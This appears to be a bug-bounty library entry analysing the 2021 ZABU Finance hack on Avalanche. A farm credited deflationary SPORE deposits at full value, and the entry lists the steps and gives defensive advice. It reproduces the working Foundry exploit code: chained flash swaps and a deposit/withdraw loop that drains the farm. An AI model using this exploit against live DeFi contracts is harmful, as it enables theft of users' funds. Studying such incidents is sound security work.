# ZABU Finance: deflationary token breaks farm deposit accounting

ZABU Finance farm credited deflationary SPORE deposits at full amount while transfers burned tokens, letting an attacker inflate farm share and drain ZABU rewards via flash swaps.

- Payout: Real-world hack
- Severity: high
- Program: ZABU Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-09-12
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-09/ZABU_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210912-zabu
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:flash-loan vuln:reward-distribution

**Target:** Staking farm contract with fee-on-transfer reward token on Avalanche/Pangolin
**Root cause:** Farm.deposit credited the requested amount rather than the actually-received amount, so a fee-on-transfer/deflationary token (SPORE) let the attacker book more stake than was transferred, inflating their share of the pool.
**Steps:**
1. Flash-swap SPORE out of PangolinPair1 (SPORE/WAVAX) via `swap(SPORE.balanceOf(pair1)-1e18, 0, attacker, data)`.
2. In pair1 callback, swap on PangolinPair2 (SPORE/PNG) to obtain more SPORE, then repay pair1 with WAVAX computed from reserves.
3. In pair2 callback, loop `Farm.deposit(38, amount)` then `Farm.withdraw(38, amount)` repeatedly while `SPORE.balanceOf(Farm) > 1000`, exploiting deflationary transfer to inflate credited stake.
4. Repay pair2 with SPORE, buy PNG via router, transfer PNG to pair2.
5. Roll blocks, call `withdrawSPORE()` to pull `SPORE.balanceOf(Farm)` from the farm, harvesting ZABU.
6. Sell ZABU for WAVAX via `swapExactTokensForTokensSupportingFeeOnTransferTokens`.
**How found:** Recognized that SPORE is a deflationary/fee-on-transfer token and that the farm's deposit accounting assumed 1:1 transfers, making repeated deposit/withdraw cycles inflate share.
**Exploitation:** Attacker flash-swapped SPORE from two Pangolin pairs, repeatedly deposited/withdrew into farm pid 38 so the deflationary token's burn made credited stake exceed actual tokens, then withdrew the farm's entire SPORE balance to claim ZABU rewards and sold them for WAVAX, netting profit over the 2500 WAVAX seed.
**Escalation:** Chained two flash swaps across SPORE/WAVAX and SPORE/PNG pairs to amplify SPORE capital, then looped deposit/withdraw to multiply the accounting discrepancy.
**Insight:** When a farm or vault accepts fee-on-transfer/deflationary tokens, check whether it credits the requested amount or the measured balance delta; looping deposit/withdraw on such a pool inflates share without new capital.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test with flashswap and farm deposit/withdraw loop**

```
function testExploit() public payable {
        SPORE.approve(address(Farm), type(uint256).max);
        WAVAX.approve(address(Router), type(uint256).max);
        (reserve0Pair1, reserve1Pair1,) = PangolinPair1.getReserves();
        (reserve0Pair2, reserve1Pair2,) = PangolinPair2.getReserves();
        address(WAVAX).call{value: 2500 ether}("");
        // depost SPORE
        ContractFactory();
        (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositSPORE()"));
        require(success);
        // change block.number
        cheats.roll(block.number + 900);

        PangolinPair1.swap(SPORE.balanceOf(address(PangolinPair1)) - 1 * 1e18, 0, address(this), new bytes(1));
        // change block.number
        cheats.roll(block.number + 1001);
        (bool success1,) = addressContract.call(abi.encodeWithSignature("withdrawSPORE()"));
        require(success1);

        emit log_named_decimal_uint("Attacker ZABU profit after exploit", ZABU.balanceOf(addressContract), 18);

        (bool success2,) = addressContract.call(abi.encodeWithSignature("sellZABU()"));
        require(success2);

        emit log_named_decimal_uint(
            "Attacker WAVAX profit after exploit", WAVAX.balanceOf(addressContract) - 2500 * 1e18, 18
        );
    }
```

**Flashswap callback looping deposit/withdraw to drain farm**

```
function pangolinCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        if (msg.sender == address(PangolinPair1)) {
            PangolinPair2.swap(0, reserve1Pair2 - 1 * 1e18, address(this), new bytes(1));
            // flashswap callback pair1
            uint256 amountSPORE0 = SPORE.balanceOf(address(this));
            SPORE.transfer(address(PangolinPair1), amountSPORE0);
            uint256 SPOREInPair1 = SPORE.balanceOf(address(PangolinPair1));
            uint256 WAVAXInPair1 = WAVAX.balanceOf(address(PangolinPair1));
            uint256 amountWAVAX = (
                reserve0Pair1 * reserve1Pair1 / ((SPOREInPair1 * 1000 - amountSPORE0 * 3 * 96 / 100) / 1000)
                    - WAVAXInPair1
            ) * 1000 / 997;
            WAVAX.transfer(address(PangolinPair1), amountWAVAX);
        }

        if (msg.sender == address(PangolinPair2)) {
            //reduced lptoken
            while (SPORE.balanceOf(address(Farm)) > 1000) {
                uint256 amount = SPORE.balanceOf(address(this));
                if (SPORE.balanceOf(address(this)) * 6 / 100 > SPORE.balanceOf(address(Farm))) {
                    amount = SPORE.balanceOf(address(Farm)) * 100 / 6;
                }
                Farm.deposit(uint256(38), amount);
                Farm.withdraw(uint256(38), amount);
            }

            // flashswap callback pair2
            uint256 amountSPORE1 = SPORE.balanceOf(address(this)) / 3;
            SPORE.transfer(address(PangolinPair2), amountSPORE1);
            uint256 SPOREInPari2 = SPORE.balanceOf(address(PangolinPair2));
            uint256 PNGInPair2 = PNG.balanceOf(address(PangolinPair2));
            uint256 amountPNG = (
                reserve0Pair2 * reserve1Pair2 / ((SPOREInPari2 * 1000 - amountSPORE1 * 3 * 96 / 100) / 1000)
                    - PNGInPair2
            ) * 1000 / 997;
            buyPNG(amountPNG);
            PNG.transfer(address(PangolinPair2), PNG.balanceOf(address(this)));
        }
    }
```

**Deposit SPORE into farm pid 38**

```
function depositSPORE() external payable {
        address(WAVAX).call{value: 1 ether}("");
        address[] memory path = new address[](2);
        path[0] = address(WAVAX);
        path[1] = address(SPORE);
        WAVAX.approve(address(Router), type(uint256).max);
        SPORE.approve(address(Farm), type(uint256).max);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        Farm.deposit(uint256(38), SPORE.balanceOf(address(this)));
    }
```

